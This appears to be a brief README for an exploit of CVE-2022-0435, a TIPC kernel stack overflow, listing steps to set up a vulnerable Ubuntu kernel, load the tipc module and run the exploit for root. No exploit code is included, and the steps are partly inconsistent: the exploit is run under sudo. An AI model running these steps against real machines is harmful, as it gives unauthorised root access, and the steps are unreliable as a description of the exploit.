
Stack overflow exploit for CVE-2022-0435 in the TIPC module, providing local privilege escalation to root on Ubuntu kernels.
CVE-2022-0435(stack overflow)
wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso
mkdir kernel
wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb
sudo dpkg -i *.deb
reboot and select 5.13.0-051300-generic
load exploit.c and leak.py
sudo modprobe tipc
sudo ./exploit $(sudo python3 leak.py)
got root